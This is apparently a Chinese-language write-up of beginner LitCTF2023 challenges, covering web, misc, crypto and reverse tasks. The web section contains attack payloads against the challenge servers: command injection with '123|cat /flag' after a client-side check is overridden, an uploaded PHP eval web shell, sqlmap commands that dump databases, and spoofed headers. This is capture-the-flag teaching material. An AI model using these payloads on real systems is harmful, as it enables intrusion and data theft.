LitCTF2023 部分 wp
简单题一并拿下,难题一律不会 www
总的来说难度是低的,不亏是新生赛,对于我这个小白来说可太有体验感了
是我太笨逼了,没有 AK 掉 web,赛后看 wp 肠子都悔了 55555
以此表扬 (xxxx
# WEB
# ▸ 我 Flag 呢?
源代码搜索 flag
# ▸ 导弹迷踪
游戏题
在 /src/game.js
文件找到 flag
# ▸ Follow me and hack me
根据提示
get 和 post 传参即可
payload
GET:CTF=Lit2023
POST:Challenge=i'm_c0m1ng
# ▸ Ping
尝试 || && 绕过
发现有前端 ip 检测
function check_ip(){
let ip = document.getElementById('command').value;
let re = /^(25[0-5]|2[0-4]\d|[0-1]\d{2}|[1-9]?\d)\.(25[0-5]|2[0-4]\d|[0-1]\d{2}|[1-9]?\d)\.(25[0-5]|2[0-4]\d|[0-1]\d{2}|[1-9]?\d)\.(25[0-5]|2[0-4]\d|[0-1]\d{2}|[1-9]?\d)$/;
if(re.test(ip.trim())){
return true;
}
alert('敢于尝试已经是很厉害了,如果是这样的话,就只能输入ip哦');
return false;
}
尝试修改前端代码尝试绕过,发现无效(可能是我菜
这时候就已经没思路了,百度搜索小知识发现可以在控制台覆盖原始函数的方法
check_ip = function() {
return true;
};
尝试 123|ls
可以看出有回显,说明成功绕过了
payload
123|cat /flag
得到 flag
# ▸ PHP 是世界上最好的语言!!
直接输入指令查看即可
# ▸ 作业管理系统
源代码藏有默认密码 admin\admin
看到上传文件,尝试上传个一句话木马
<?php eval($_POST['K1nako']);?> |
尝试访问,发现有回显值,上传成功了(蚁剑连接同理,(懒得开蚁剑 x
payload
K1nako=system('cat /flag');
得到 flag
# ▸ Vim yyds
根据题目提示:漏... 漏了!
盲猜一个 swp 临时文件泄露
利用目录扫描工具一扫果然如此
将 swp 文件下载下来拖到 linux 系统里输入指令 vim -r index.php.swp
就可修复文件
可以看到,里面藏了后门代码,通过 post 方式传参 password,这就好办了
将 Give_Me_Your_Flag
base64 加密然后传参得到回显
payload
POST:password=R2l2ZV9NZV9Zb3VyX0ZsYWc=&cmd=cat /flag
得到 flag
# ▸ 这是什么?SQL !注一下 !
打开是一个搜索框,根据题目考点是 sql
直接 sqlmap 跑起来
sqlmap -u "http://node5.anna.nssctf.cn:28399/?id=id%3D1" --dbs
跑数据库
sqlmap -u "http://node5.anna.nssctf.cn:28399/?id=id%3D1" -D ctf --tables
爆数据库表名
sqlmap -u "http://node5.anna.nssctf.cn:28399/?id=id%3D1" -D ctf -T users --columns
爆数据库表字段
sqlmap -u "http://node5.anna.nssctf.cn:28399/?id=id%3D1" -D ctf -T users -C password --dump
爆字段内容,发现了 flag...... 的第四部分????(补充,这是彩蛋
换个数据库接着跑,就算是四个部分也得跑出来 hhh
不出所料在 ctftraining/flag/flag
爆出了真正的 flag
payload
sqlmap -u "http://node5.anna.nssctf.cn:28399/?id=id%3D1" -D ctftraining -T flag -C flag --dump
# ▸ Http pro max plus
打开只允许本地访问
利用 xff,突然被骂 (x
那就换个伪造 client-ip:127.0.0.1
然后回显了奇怪的东西
Referer:pornhub.com
Via:Clash.win
终于在我的不懈努力,百度翻了又翻,试了又试,给我试出来了
我替你们点了一下,都不是什么好东西 (x
看了一眼源代码才发现 hint 藏在这里面
<!--你就冲吧,什么都冲只会害了你自己 bdy好康的在 /sejishikong.php-->
访问 //sejishikong.php
得到 flag
# ▸ 彩蛋
我是没想到,前面找到的分部 flag 居然是彩蛋 www
我 Flag 呢 flag 藏在 assets/js/script.min.js
第一个彩蛋 LitCTF{First_t0_The_k3y!
作业管理系统 远程登陆下面有个连接,浏览器打开即可 第二个彩蛋 _S0_ne3t?
Follow me and hack me 备份文件 www.zip
第三个彩蛋 _R3ady_Pl4yer_000ne_
这是什么?SQL !注一下 ! ctf/users/password
第四个彩蛋 F1rst_to_Th3_eggggggggg!}
# MISC
# ▸ 签到!(初级)
关注公众号。签到
# ▸ What_1s_BASE (初级)
base64 解码即可
# ▸ Take me hand (初级)
Wireshark 打开
全都是 ssh 协议,过滤器填入 ssh 过滤一下
右键第一个 ssh 协议跟踪 TCP 流查看
在流 1 找到 flag
# ▸ 404notfound (初级)
下载附件,010editor 打开,发现 flag
# ▸ 喜欢我的压缩包么 (初级)
下载附件,根据题目提示,密码六位数,爆破得到密码
解压得到 flag
# ▸ 这羽毛球怎么只有一半啊(恼 (初级)
下载附件,根据题目提示,将图片拖进 010editor
修改高度,查看图片即可得到 flag
# ▸ 破损的图片 (初级)
下载附件发现没有后缀名,拖进 010editor 查看文件头被删掉了,文件尾 AE426082,确定为 PNG 文件
修改完后查看图片即可得到 flag
# Crypto
# ▸ Hex?Hex!(初级)
hex 解码
# ▸ 梦想是红色的 (初级)
核心价值观编码
# ▸ 原来你也玩原神 (初级)
呃呃,抽象编码
原神提瓦特文字
# ▸ 家人们!谁懂啊,RSA 签到都不会 (初级)
总之就是我也不会,工具梭出来的 hhh
# ▸ Is this only base?
SWZxWl=F=DQef0hlEiSUIVh9ESCcMFS9NF2NXFzM
今年是本世纪的第23年呢
栅栏密码 23 栏,base64 解码,凯撒密码 23 行
# ▸ 你是我的关键词 (Keyworld) (初级)
IFRURC{X0S_YP3_JX_HBXV0PA}
根据题目提示 YOU are my keyworld
应该是关键词密码 (Keywordd Cipher)
提示中的 YOU 是大写盲猜是密钥,解密得出 flag
# Reverse
签到题怎么不算题捏~
# ▸ 世界上最棒的程序员
IDA 打开搜索文本 flag 关键词即可 wwwww